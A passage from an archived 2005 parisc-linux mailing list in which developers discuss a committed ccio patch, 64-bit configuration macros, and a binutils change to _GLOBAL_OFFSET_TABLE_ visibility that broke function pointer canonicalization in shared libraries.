J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: backport sba change to ccio
Date: Sun, 6 Mar 2005 16:52:40 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <20050306235240.GB14771@colo.lackof.org>
References: <20050304050324.GA30252@colo.lackof.org>
	<42075CE80000B426@mail-6-bnl.tiscali.it>
	<20050304163610.GA7363@colo.lackof.org> <42298B2A.702@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623686 12889 80.91.229.3 (22 Nov 2014 02:34:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Mar 2005 23:51:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx055) with SMTP; 07 Mar 2005 00:51:35 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 285AE7D674;
	Sun,  6 Mar 2005 16:52:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26359-05; Sun, 6 Mar 2005 16:52:32 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8A1F97D67A;
	Sun,  6 Mar 2005 16:52:31 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DAE257D673
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  6 Mar 2005 16:52:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26342-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 6 Mar 2005 16:52:28 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 6C17F7D66F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  6 Mar 2005 16:52:28 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 2D7C029803C;
	Sun,  6 Mar 2005 16:52:41 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19326-01; Sun, 6 Mar 2005 16:52:40 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id BB2F4298034; Sun,  6 Mar 2005 16:52:40 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <42298B2A.702@tiscali.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5vtAKiwaTlIv47eQeGhrSVVGU2poZZmq
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22403

On Sat, Mar 05, 2005 at 10:34:18AM +0000, Joel Soete wrote:
> The snow let me play a bit and the test pass as well as previously as far 
> as my c110 is a 32bit and so not affected by my mistake.
> btw what's up of __LP64__ and CONFIG_64BIT ?

Use CONFIG_64BIT. The cc dependencies will catch when if one wants
to re-use the same tree for different builds.

> I just attached the last udiff file to allow others to test it eventually 
> on 64bit model :-)

shouldn't matter if a system has 32 or 64bit kernel for these changes.
I've committed the "diff4" patch.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Comments?
Date: Tue, 8 Mar 2005 12:32:36 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <20050308173236.GS23803@baldric.uwo.ca>
References: <200503052153.j25LrOQW014375@hiauly1.hia.nrc.ca>
	<200503060022.j260MRjc001063@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623686 12894 80.91.229.3 (22 Nov 2014 02:34:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 tausq@debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Mar 2005 17:33:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx044) with SMTP; 08 Mar 2005 18:33:20 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 466F37D682;
	Tue,  8 Mar 2005 10:34:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06359-10; Tue, 8 Mar 2005 10:34:12 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B05CD7D684;
	Tue,  8 Mar 2005 10:34:11 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 816E37D681
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  8 Mar 2005 10:33:51 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06439-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 8 Mar 2005 10:33:51 -0700 (MST)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id F12CA7D679
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  8 Mar 2005 10:33:50 -0700 (MST)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1D8iZR-0007KY-00; Tue, 08 Mar 2005 12:32:37 -0500
Content-Disposition: inline
In-Reply-To: <200503060022.j260MRjc001063@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (67% Sync Ratio [=======...])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: gI1GKuIzTlIv47eQeGhrSVVGU2poZVmu
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22404

On Sat, Mar 05, 2005 at 07:22:27PM -0500, John David Anglin wrote:
> > Ok, ld is broken in the binutils CVS head.
> > __canonicalize_funcptr_for_compare doesn't load the correct address
> > for _GLOBAL_OFFSET_TABLE_ in shared libraries.  It loads the address
> > used by main.  As a result, it thinks the plabel for the function
> > has been resolved ;(
> 
> Found it:
> 
> 2004-11-02  Hans-Peter Nilsson  <hp@axis.com>
> 
>         * elflink.c (_bfd_elf_create_got_section): Hide _GLOBAL_OFFSET_TABLE_.

I'd seen that fly by on binutils and it caused a certain amount of grief
in glibc. I'm not quite sure what the rational was behind hiding _GOT_.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Comments?
Date: Tue, 8 Mar 2005 12:44:53 -0500 (EST)
Lines: 28
Approved: news@gmane.org
Message-ID: <200503081744.j28HirKt001889@hiauly1.hia.nrc.ca>
References: <20050308173236.GS23803@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623686 12895 80.91.229.3 (22 Nov 2014 02:34:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 tausq@debian.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Mar 2005 17:46:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx061) with SMTP; 08 Mar 2005 18:46:29 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A966C7D685;
	Tue,  8 Mar 2005 10:46:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06728-06; Tue, 8 Mar 2005 10:46:49 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D93747D689;
	Tue,  8 Mar 2005 10:46:48 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 426737D684
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  8 Mar 2005 10:46:36 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06728-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 8 Mar 2005 10:46:35 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id B2A547D682
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  8 Mar 2005 10:46:35 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j28HishF001890; Tue, 8 Mar 2005 12:44:54 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j28HirKt001889;
	Tue, 8 Mar 2005 12:44:53 -0500 (EST)
In-Reply-To: <20050308173236.GS23803@baldric.uwo.ca> from "Carlos O'Donell" at
	Mar 8, 2005 12:32:36 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: l4hGKmIGTlIv47eQeGhrSVVGU2poZRne
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22405

> > 2004-11-02  Hans-Peter Nilsson  <hp@axis.com>
> > 
> >         * elflink.c (_bfd_elf_create_got_section): Hide _GLOBAL_OFFSET_TABLE_.
> 
> I'd seen that fly by on binutils and it caused a certain amount of grief
> in glibc. I'm not quite sure what the rational was behind hiding _GOT_.

I believe that the idea was that main code would see its _GOT_ address
and shared libraries their respective _GOT_ address.  It turns out that
it was sort of a fluke that function pointer canonicalization worked.
Only function pointers in the main part of an application are not
resolved.  Shared library function pointers are resolved when the
library is loaded.  __cffc was always looking at the _GOT_ address
for the main app (i.e., the main _GLOBAL_OFFSET_TABLE_ value overrode
the shared library symbol).

This problem was fixed yesterday by Alan Modra.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Comments?
Date: Tue, 8 Mar 2005 12:47:16 -0500
Lines: 36
Approved: news@gmane.org
Message-ID: <20050308174715.GU23803@baldric.uwo.ca>
References: <20050305194652.GG23803@baldric.uwo.ca>
	<200503052033.j25KXK8x007561@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623687 12898 80.91.229.3 (22 Nov 2014 02:34:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 tausq@debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Mar 2005 17:47:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx012) with SMTP; 08 Mar 2005 18:47:40 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 17C107D697;
	Tue,  8 Mar 2005 10:48:31 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06832-06; Tue, 8 Mar 2005 10:48:30 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 398F67D694;
	Tue,  8 Mar 2005 10:48:30 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1A5BE7D692
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  8 Mar 2005 10:48:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06832-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 8 Mar 2005 10:48:27 -0700 (MST)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 7AAD47D68E
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  8 Mar 2005 10:48:27 -0700 (MST)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1D8inc-0007S8-00; Tue, 08 Mar 2005 12:47:16 -0500
Content-Disposition: inline
In-Reply-To: <200503052033.j25KXK8x007561@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (67% Sync Ratio [=======...])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: XIlGKo1STlIv47eQeGhrSVVGU2poZZnL
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22406

On Sat, Mar 05, 2005 at 03:33:20PM -0500, John David Anglin wrote:
> > > I think we have somehow broken __cffc.  I did a binutils build
> > > yesterday and various ld tests are now failing.  These are tests
> > > that compare function pointers.
> > 
> > I didn't feed anything new into debian-glibc. All my patches have always
> > strived to keep __cffc working, if I messup the function pointer
> > comparison I get a slew of glibc testsuite failures which I always
> > patchup by making sure __cffc works :)
> 
> I haven't touched fptr.c either, although there is a change in GCC
> 4.0 with respect to canonicalization.  I'm using the debian glibc,
> 2.3.2.ds1-20, on the system on which I noticed this problem.

I'm heavily leaning towards the addition/transition to OPD's for even
the 32-bit code. I wrote a document somewhere about handling that
transition transparently from the point of view of binutils/glibc.

I don't quite understand how to transition the use of __cffc in gcc over
to some sort of "simple compare."

I'll rustle up that document at some point. Right now I'm finding time
to finish testing the LA patches for glibc and move on to binutils
again.

As for the stdc++ failures, I'm not sure yet what causes them. Perhaps
I'll kick off a build.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Comments?
Date: Tue, 8 Mar 2005 12:54:45 -0500
Lines: 44
Approved: news@gmane.org
Message-ID: <20050308175445.GV23803@baldric.uwo.ca>
References: <20050308173236.GS23803@baldric.uwo.ca>
	<200503081744.j28HirKt001889@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623687 12904 80.91.229.3 (22 Nov 2014 02:34:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 tausq@debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Mar 2005 17:55:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx011) with SMTP; 08 Mar 2005 18:55:16 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9B4527D696;
	Tue,  8 Mar 2005 10:56:06 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07008-05; Tue, 8 Mar 2005 10:56:06 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A4A527D697;
	Tue,  8 Mar 2005 10:56:05 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 647017D674
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  8 Mar 2005 10:55:57 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07008-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 8 Mar 2005 10:55:57 -0700 (MST)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id DBF807D66F
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  8 Mar 2005 10:55:56 -0700 (MST)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1D8iur-0007TO-00; Tue, 08 Mar 2005 12:54:45 -0500
Content-Disposition: inline
In-Reply-To: <200503081744.j28HirKt001889@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (67% Sync Ratio [=======...])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ZItGKnkHTlIv47eQeGhrSVVGU2poZZnI
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22407

On Tue, Mar 08, 2005 at 12:44:53PM -0500, John David Anglin wrote:
> > > 2004-11-02  Hans-Peter Nilsson  <hp@axis.com>
> > > 
> > >         * elflink.c (_bfd_elf_create_got_section): Hide _GLOBAL_OFFSET_TABLE_.
> > 
> > I'd seen that fly by on binutils and it caused a certain amount of grief
> > in glibc. I'm not quite sure what the rational was behind hiding _GOT_.
> 
> I believe that the idea was that main code would see its _GOT_ address
> and shared libraries their respective _GOT_ address.  It turns out that
> it was sort of a fluke that function pointer canonicalization worked.
> Only function pointers in the main part of an application are not
> resolved.  Shared library function pointers are resolved when the
> library is loaded.  __cffc was always looking at the _GOT_ address
> for the main app (i.e., the main _GLOBAL_OFFSET_TABLE_ value overrode
> the shared library symbol).
> 
> This problem was fixed yesterday by Alan Modra.

I'm not sure what you mean in your statement "shared library function
pointers are resolved when the library is loaded?" The function pointers
exist as two-byte entries in the PLT, and are non-unique, and they
aren't resolved until call time with lazy resolution.

I would imagine that the main _GOT_ is supposed to override the shared
library _GOT_. __cffc is only looking at the _GOT_ to get the fptr that
the dynamic loader wrote there during setup, so that it can get called
for symbol resolution. This setup is done for all objects, which
includes all the _GOT_'s, from the application to all the loaded shared
libraries.

Or rather are you saying, that from a shared library, the library saw
only the _GOT_ from the main applicaiton? I would think that this 
wouldn't effect the library since the loader setup r19 properly, and
aslong as it doesn't use _GOT_ then it's fine.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
